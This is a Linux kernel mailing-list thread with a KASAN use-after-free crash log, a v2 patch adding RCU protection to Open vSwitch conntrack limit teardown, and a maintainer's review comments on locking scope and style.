T10321] ? lockdep_hardirqs_on+0x7b/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] [ T10321] RIP: 0033:0x7f820deb59ee [Wed Mar 18 20:20:25 2026] [ T10321] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08 [Wed Mar 18 20:20:25 2026] [ T10321] RSP: 002b:00007f820de16dd8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c [Wed Mar 18 20:20:25 2026] [ T10321] RAX: ffffffffffffffda RBX: 00007f820de176c0 RCX: 00007f820deb59ee [Wed Mar 18 20:20:25 2026] [ T10321] RDX: 000000000000003a RSI: 00007f820de16e70 RDI: 0000000000000005 [Wed Mar 18 20:20:25 2026] [ T10321] RBP: 000055bb787812d0 R08: 00007f820de16e50 R09: 0000000000000014 [Wed Mar 18 20:20:25 2026] [ T10321] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000001337 [Wed Mar 18 20:20:25 2026] [ T10321] R13: 0000000000000052 R14: 00007ffc21454830 R15: 00007f820d617000 [Wed Mar 18 20:20:25 2026] [ T10321] </TASK>
[Wed Mar 18 20:20:25 2026] [ T10321] Allocated by task 10293: [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30 [Wed Mar 18 20:20:25 2026] [ T10321] __kasan_kmalloc+0xaa/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_init+0xee/0x4d0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_init_net+0x304/0x5b0 [Wed Mar 18 20:20:25 2026] [ T10321] ops_init+0x1e4/0x600 [Wed Mar 18 20:20:25 2026] [ T10321] setup_net+0x224/0x860 [Wed Mar 18 20:20:25 2026] [ T10321] copy_net_ns+0x2ab/0x5e0 [Wed Mar 18 20:20:25 2026] [ T10321] create_new_namespaces+0x3ef/0xae0 [Wed Mar 18 20:20:25 2026] [ T10321] unshare_nsproxy_namespaces+0xc8/0x1f0 [Wed Mar 18 20:20:25 2026] [ T10321] ksys_unshare+0x437/0xa10 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_unshare+0x36/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] Freed by task 1492: [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_stack+0x33/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_track+0x14/0x30 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_save_free_info+0x3b/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] __kasan_slab_free+0x4f/0x70 [Wed Mar 18 20:20:25 2026] [ T10321] kfree+0x14a/0x4a0 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_exit+0x19c/0x270 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_exit_net+0xb3/0x9b0 [Wed Mar 18 20:20:25 2026] [ T10321] ops_exit_list+0xb5/0x180 [Wed Mar 18 20:20:25 2026] [ T10321] cleanup_net+0x5bc/0xb20 [Wed Mar 18 20:20:25 2026] [ T10321] process_one_work+0x96d/0x1b60 [Wed Mar 18 20:20:25 2026] [ T10321] worker_thread+0x647/0xe70 [Wed Mar 18 20:20:25 2026] [ T10321] kthread+0x2b0/0x3a0 [Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork+0x4a/0x80 [Wed Mar 18 20:20:25 2026] [ T10321] ret_from_fork_asm+0x1a/0x30
[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the object at ffff888035c1f3e0
which belongs to the cache kmalloc-32 of size 32
[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address is located 0 bytes inside of
freed 32-byte region [ffff888035c1f3e0, ffff888035c1f400)[Wed Mar 18 20:20:25 2026] [ T10321] The buggy address belongs to the physical page: [Wed Mar 18 20:20:25 2026] [ T10321] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x35c1f [Wed Mar 18 20:20:25 2026] [ T10321] flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff) [Wed Mar 18 20:20:25 2026] [ T10321] page_type: f5(slab) [Wed Mar 18 20:20:25 2026] [ T10321] raw: 00fff00000000000 ffff88801c042940 ffffea0000967490 ffffea000082b650 [Wed Mar 18 20:20:25 2026] [ T10321] raw: 0000000000000000 0000000000150015 00000001f5000000 0000000000000000 [Wed Mar 18 20:20:25 2026] [ T10321] page dumped because: kasan: bad access detected [Wed Mar 18 20:20:25 2026] [ T10321] page_owner tracks the page as allocated [Wed Mar 18 20:20:25 2026] [ T10321] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 5358, tgid 5358 (systemd-tmpfile), ts 75209207871, free_ts 75022619452 [Wed Mar 18 20:20:25 2026] [ T10321] post_alloc_hook+0x2ea/0x350 [Wed Mar 18 20:20:25 2026] [ T10321] get_page_from_freelist+0x7af/0x3990 [Wed Mar 18 20:20:25 2026] [ T10321] __alloc_pages_noprof+0x22b/0x26d0 [Wed Mar 18 20:20:25 2026] [ T10321] alloc_pages_mpol_noprof+0x2ce/0x610 [Wed Mar 18 20:20:25 2026] [ T10321] new_slab+0x2e5/0x420 [Wed Mar 18 20:20:25 2026] [ T10321] ___slab_alloc+0xe60/0x19e0 [Wed Mar 18 20:20:25 2026] [ T10321] __slab_alloc.isra.0+0x5b/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] __kmalloc_cache_noprof+0x2b9/0x300 [Wed Mar 18 20:20:25 2026] [ T10321] kmem_cache_free+0x2d3/0x490 [Wed Mar 18 20:20:25 2026] [ T10321] __fput+0x68b/0xb60 [Wed Mar 18 20:20:25 2026] [ T10321] __fput_sync+0x4a/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_close+0x8b/0x100 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] [ T10321] page last free pid 5359 tgid 5359 stack trace: [Wed Mar 18 20:20:25 2026] [ T10321] free_unref_page+0x6e8/0x1020 [Wed Mar 18 20:20:25 2026] [ T10321] tlb_finish_mmu+0x284/0x830 [Wed Mar 18 20:20:25 2026] [ T10321] exit_mmap+0x3e4/0xb40 [Wed Mar 18 20:20:25 2026] [ T10321] __mmput+0x12a/0x4c0 [Wed Mar 18 20:20:25 2026] [ T10321] mmput+0x67/0x70 [Wed Mar 18 20:20:25 2026] [ T10321] do_exit+0x969/0x2ce0 [Wed Mar 18 20:20:25 2026] [ T10321] do_group_exit+0xda/0x2a0 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_exit_group+0x43/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] __pfx___do_sys_ni_syscall+0x0/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Wed Mar 18 20:20:25 2026] [ T10321] Memory state around the buggy address: [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f300: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] >ffff888035c1f380: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb [Wed Mar 18 20:20:25 2026] [ T10321] ^ [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ffff888035c1f480: fc fc fc fc 00 00 00 00 fc fc fc fc fc fc fc fc [Wed Mar 18 20:20:25 2026] [ T10321] ================================================================== [Wed Mar 18 20:20:25 2026] [ T10321] Kernel panic - not syncing: KASAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Yuqi Xu
net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++-------------- net/openvswitch/datapath.h | 2 +- 2 files changed, 51 insertions(+), 30 deletions(-)
Signature · 1 line
2.54.0
PATCH v2 1/1 openvswitch: Fix CT limit teardown use-after-free
From: Yuqi Xu <[email protected]>
Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.
Replace the pointer before freeing the CT limit state. Wait for in-flight RCU readers before freeing its contents. Serialize CT limit netlink operations with teardown for the full lifetime of their state accesses.
---
changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/
net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++-------------- net/openvswitch/datapath.h | 2 +- 2 files changed, 51 insertions(+), 30 deletions(-)
net/openvswitch/conntrack.c +50 -29
@@ -933,10 +933,14 @@ static int ovs_ct_check_limit(struct net *net, const struct ovs_conntrack_info *info) {struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *ct_limit_info;u32 per_zone_limit, connections;u32 conncount_key; + ct_limit_info =rcu_dereference (ovs_net->ct_limit_info); +if (!ct_limit_info) +return 0 ; + conncount_key = info->zone.id; per_zone_limit =ct_limit_get (ct_limit_info, info->zone.id);
@@ -1585,40 +1589,47 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT )static int ovs_ct_limit_init (struct net *net,struct ovs_net *ovs_net) { +struct ovs_ct_limit_info *info;int i, err; - ovs_net->ct_limit_info =kmalloc_obj (*ovs_net->ct_limit_info); -if (!ovs_net->ct_limit_info) + info =kmalloc_obj (*info); +if (!info)return -ENOMEM ; - ovs_net->ct_limit_info->default_limit =OVS_CT_LIMIT_DEFAULT ; - ovs_net->ct_limit_info->limits = + info->default_limit =OVS_CT_LIMIT_DEFAULT ; + info->limits = kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS); -if (!ovs_net->ct_limit_info->limits) { -kfree (ovs_net->ct_limit_info); +if (!info->limits) { +kfree (info);return -ENOMEM ; }for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; i++) -INIT_HLIST_HEAD (&ovs_net->ct_limit_info->limits[i]); +INIT_HLIST_HEAD (&info->limits[i]); - ovs_net->ct_limit_info->data =nf_conncount_init (net,sizeof (u32)); + info->data =nf_conncount_init (net,sizeof (u32)); -if (IS_ERR (ovs_net->ct_limit_info->data)) { - err =PTR_ERR (ovs_net->ct_limit_info->data); -kfree (ovs_net->ct_limit_info->limits); -kfree (ovs_net->ct_limit_info); +if (IS_ERR (info->data)) { + err =PTR_ERR (info->data); +kfree (info->limits); +kfree (info);pr_err ("openvswitch: failed to init nf_conncount %d\n" , err);return err; } +rcu_assign_pointer (ovs_net->ct_limit_info, info);return 0 ; }static void ovs_ct_limit_exit (struct net *net,struct ovs_net *ovs_net) { -const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *info;int i; + info =rcu_replace_pointer (ovs_net->ct_limit_info,NULL , +lockdep_ovsl_is_held ()); +/* ovs_ct_check_limit() accesses the info under the datapath RCU lock. */ +synchronize_rcu (); +nf_conncount_destroy (net, info->data);for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; ++i) {struct hlist_head *head = &info->limits[i];
@@ -1678,9 +1689,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit = zone_limit->limit; -ovs_unlock (); }else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" );
@@ -1694,9 +1703,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit, ct_limit->zone = zone; ct_limit->limit = zone_limit->limit; -ovs_lock ();ct_limit_set (info, ct_limit); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1722,16 +1729,12 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit =OVS_CT_LIMIT_DEFAULT ; -ovs_unlock (); }else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" ); }else { -ovs_lock ();ct_limit_del (info, zone); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +
@@ -1850,7 +1853,7 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,
@@ -1863,16 +1866,22 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock (); + ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ()); err =ovs_ct_limit_set_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;static_branch_enable (&ovs_ct_limit_enabled);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;
@@ -1884,7 +1893,7 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,
@@ -1897,14 +1906,20 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock (); + ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ()); err =ovs_ct_limit_del_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;
@@ -1918,7 +1933,7 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)struct ovs_header *ovs_reply_header;struct net *net =sock_net (skb->sk);struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,
@@ -1932,23 +1947,29 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock (); + ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ());if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ]) { err =ovs_ct_limit_get_zone_limit ( net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }else { err =ovs_ct_limit_get_all_zone_limit (net, ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }nla_nest_end (reply, nla_reply);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;
net/openvswitch/datapath.h +1 -1
@@ -172,7 +172,7 @@ struct ovs_net {struct work_struct dp_notify_work;struct delayed_work masks_rebalance;#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT ) -struct ovs_ct_limit_info *ct_limit_info; +struct ovs_ct_limit_info __rcu *ct_limit_info;#endif bool xt_label; };
Signature · 1 line
2.54.0
Ilya Maximets
maintainerQuoted 95 lines · Ren Wei
From: Yuqi Xu <[email protected]>
Packet processing uses CT limit state under RCU, while netns teardown frees that state under
ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.Replace the pointer before freeing the CT limit state. Wait for in-flight RCU readers before freeing its contents. Serialize CT limit netlink operations with teardown for the full lifetime of their state accesses.
Fixes 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")Reported-by Vega <[email protected]>Assisted-by Codex:GPT-5.4Co-developed-by Nan Li <[email protected]>Signed-off-by Nan Li <[email protected]>Signed-off-by Yuqi Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>---
changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++-------------- net/openvswitch/datapath.h | 2 +- 2 files changed, 51 insertions(+), 30 deletions(-)net/openvswitch/conntrack.c +19
-13@@ -933,10 +933,14 @@ static int ovs_ct_check_limit(struct net *net, const struct ovs_conntrack_info *info) {struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -const struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *ct_limit_info;u32 per_zone_limit, connections;u32 conncount_key; + ct_limit_info =rcu_dereference (ovs_net->ct_limit_info); +if (!ct_limit_info) +return 0 ; + conncount_key = info->zone.id; per_zone_limit =ct_limit_get (ct_limit_info, info->zone.id);@@ -1585,40 +1589,47 @@ static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info)#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT )static int ovs_ct_limit_init (struct net *net,struct ovs_net *ovs_net) { +struct ovs_ct_limit_info *info;int i, err; - ovs_net->ct_limit_info =kmalloc_obj (*ovs_net->ct_limit_info); -if (!ovs_net->ct_limit_info) + info =kmalloc_obj (*info); +if (!info)return -ENOMEM ; - ovs_net->ct_limit_info->default_limit =OVS_CT_LIMIT_DEFAULT ; - ovs_net->ct_limit_info->limits = + info->default_limit =OVS_CT_LIMIT_DEFAULT ; + info->limits = kmalloc_objs(struct hlist_head, CT_LIMIT_HASH_BUCKETS); -if (!ovs_net->ct_limit_info->limits) { -kfree (ovs_net->ct_limit_info); +if (!info->limits) { +kfree (info);return -ENOMEM ; }for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; i++) -INIT_HLIST_HEAD (&ovs_net->ct_limit_info->limits[i]); +INIT_HLIST_HEAD (&info->limits[i]); - ovs_net->ct_limit_info->data =nf_conncount_init (net,sizeof (u32)); + info->data =nf_conncount_init (net,sizeof (u32)); -if (IS_ERR (ovs_net->ct_limit_info->data)) { - err =PTR_ERR (ovs_net->ct_limit_info->data); -kfree (ovs_net->ct_limit_info->limits); -kfree (ovs_net->ct_limit_info); +if (IS_ERR (info->data)) { + err =PTR_ERR (info->data); +kfree (info->limits); +kfree (info);pr_err ("openvswitch: failed to init nf_conncount %d\n" , err);return err; } +rcu_assign_pointer (ovs_net->ct_limit_info, info);return 0 ; }
net/openvswitch/conntrack.c static void __ovs_ct_free_action(struct ovs_conntrack_info *ct_info) · line 1630
Quoted 10 lines
net/openvswitch/conntrack.c +4
-1static void ovs_ct_limit_exit (struct net *net,struct ovs_net *ovs_net) { -const struct ovs_ct_limit_info *info = ovs_net->ct_limit_info; +const struct ovs_ct_limit_info *info;int i; + info =rcu_replace_pointer (ovs_net->ct_limit_info,NULL , +lockdep_ovsl_is_held ()); +/* ovs_ct_check_limit() accesses the info under the datapath RCU lock. */
'datapath RCU lock' is a strange wording. 'RCU read lock' may be better. But also, the comment is not particularly useful. It could say 'wait for other CPUs to stop using ct limits', or something like that instead.
net/openvswitch/conntrack.c static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit, · line 1683
Quoted 12 lines
net/openvswitch/conntrack.c +2
-2+synchronize_rcu (); +nf_conncount_destroy (net, info->data);for (i =0 ; i <CT_LIMIT_HASH_BUCKETS ; ++i) {struct hlist_head *head = &info->limits[i];@@ -1678,9 +1689,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit = zone_limit->limit; -ovs_unlock ();
Enlarging the critical section for the ovs_mutex() doesn't sound nice. There are multiple memory allocations and other things in the path that could take a decent amount of time holding the lock. Might be better to pass ovs_net into set and del funtions instead and do the rcu dereferencing right here after taking the lock. It will be done in 4 places in the code, but you're doing it in 3 places right now, so code-wise it's not that different. E.g.:
---
ovs_lock();
+ info = ovsl_dereference(ovs_net->ct_limit_info);
+ if (!info) {
+ ovs_unlock();
+ return -ENOENT;
+ }
info->default_limit = zone_limit->limit;
ovs_unlock();---
If we do so, then ovs_net should likely be the first argument of the function.
Quoted 40 lines
net/openvswitch/conntrack.c +1
-7}else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" );@@ -1694,9 +1703,7 @@ static int ovs_ct_limit_set_zone_limit(struct nlattr *nla_zone_limit, ct_limit->zone = zone; ct_limit->limit = zone_limit->limit; -ovs_lock ();ct_limit_set (info, ct_limit); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +@@ -1722,16 +1729,12 @@ static int ovs_ct_limit_del_zone_limit(struct nlattr *nla_zone_limit,while (rem >=sizeof (*zone_limit)) {if (unlikely (zone_limit->zone_id ==OVS_ZONE_LIMIT_DEFAULT_ZONE )) { -ovs_lock (); info->default_limit =OVS_CT_LIMIT_DEFAULT ; -ovs_unlock (); }else if (unlikely (!check_zone_id ( zone_limit->zone_id, &zone))) {OVS_NLERR (true,"zone id is out of range" ); }else { -ovs_lock ();ct_limit_del (info, zone); -ovs_unlock (); } rem -=NLA_ALIGN (sizeof (*zone_limit)); zone_limit = (struct ovs_zone_limit *)((u8 *)zone_limit +@@ -1850,7 +1853,7 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_SET,
net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) · line 1871
Quoted 6 lines
net/openvswitch/conntrack.c +3
-0@@ -1863,16 +1866,22 @@ static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock (); + ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ());
Should use ovsl_dereference() instead of open-coding it. And also, we should probably check that the result is not NULL, for consistency.
net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_set(struct sk_buff *skb, struct genl_info *info) · line 1880
Quoted 10 lines
net/openvswitch/conntrack.c +2
-1err =ovs_ct_limit_set_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;static_branch_enable (&ovs_ct_limit_enabled);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();
There is no point holding ovs_mutex for the entire reply message preparation and also the static branch setting. See above.
Quoted 21 lines
net/openvswitch/conntrack.c +4
-1return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;@@ -1884,7 +1893,7 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info)struct sk_buff *reply;struct ovs_header *ovs_reply_header;struct ovs_net *ovs_net =net_generic (sock_net (skb->sk), ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_DEL,@@ -1897,14 +1906,20 @@ static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock ();
net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_del(struct sk_buff *skb, struct genl_info *info) · line 1918
Quoted 10 lines
net/openvswitch/conntrack.c +4
-1+ ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ()); err =ovs_ct_limit_del_zone_limit (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info);if (err) - goto exit_err; + goto exit_unlock;genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();
Same here.
Quoted 17 lines
net/openvswitch/conntrack.c +3
-1return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;@@ -1918,7 +1933,7 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info)struct ovs_header *ovs_reply_header;struct net *net =sock_net (skb->sk);struct ovs_net *ovs_net =net_generic (net, ovs_net_id); -struct ovs_ct_limit_info *ct_limit_info = ovs_net->ct_limit_info; +struct ovs_ct_limit_info *ct_limit_info;int err; reply = ovs_ct_limit_cmd_reply_start(info, OVS_CT_LIMIT_CMD_GET,
net/openvswitch/conntrack.c static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info) · line 1950
Quoted 4 lines
net/openvswitch/conntrack.c +1
-0@@ -1932,23 +1947,29 @@ static int ovs_ct_limit_cmd_get(struct sk_buff *skb, struct genl_info *info) goto exit_err; } +ovs_lock ();
Why are we locking the get() path? Is simple rcu_dereference not enough?
Quoted 40 lines
net/openvswitch/conntrack.c +7
-2+ ct_limit_info =rcu_dereference_protected (ovs_net->ct_limit_info, +lockdep_ovsl_is_held ());if (a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ]) { err =ovs_ct_limit_get_zone_limit ( net, a[OVS_CT_LIMIT_ATTR_ZONE_LIMIT ], ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }else { err =ovs_ct_limit_get_all_zone_limit (net, ct_limit_info, reply);if (err) - goto exit_err; + goto exit_unlock; }nla_nest_end (reply, nla_reply);genlmsg_end (reply, ovs_reply_header); +ovs_unlock ();return genlmsg_reply (reply, info); +exit_unlock: +ovs_unlock (); exit_err:nlmsg_free (reply);return err;net/openvswitch/datapath.h +1
-1@@ -172,7 +172,7 @@ struct ovs_net {struct work_struct dp_notify_work;struct delayed_work masks_rebalance;#if IS_ENABLED (CONFIG_NETFILTER_CONNCOUNT ) -struct ovs_ct_limit_info *ct_limit_info; +struct ovs_ct_limit_info __rcu *ct_limit_info;#endif bool xt_label; };
Ilya Maximets
maintainerQuoted 259 lines · Ilya Maximets
Quoted 95 lines · Ren Wei
From: Yuqi Xu <[email protected]>
Packet processing uses CT limit state under RCU, while netns teardown frees that state under
ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state.Replace the pointer before freeing the CT limit state. Wait for in-flight RCU readers before freeing its contents. Serialize CT limit netlink operations with teardown for the full lifetime of their state accesses.
Fixes 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")Reported-by Vega <[email protected]>Assisted-by Codex:GPT-5.4Co-developed-by Nan Li <[email protected]>Signed-off-by Nan Li <[email protected]>Signed-off-by Yuqi Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>---
changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/net/openvswitch/conntrack.c | 79 +++++++++++++++++++++++-------------- net/openvswitch/datapath.h | 2 +- 2 files changed, 51 insertions(+), 30 deletions(-)net/openvswitch/conntrack.c +19
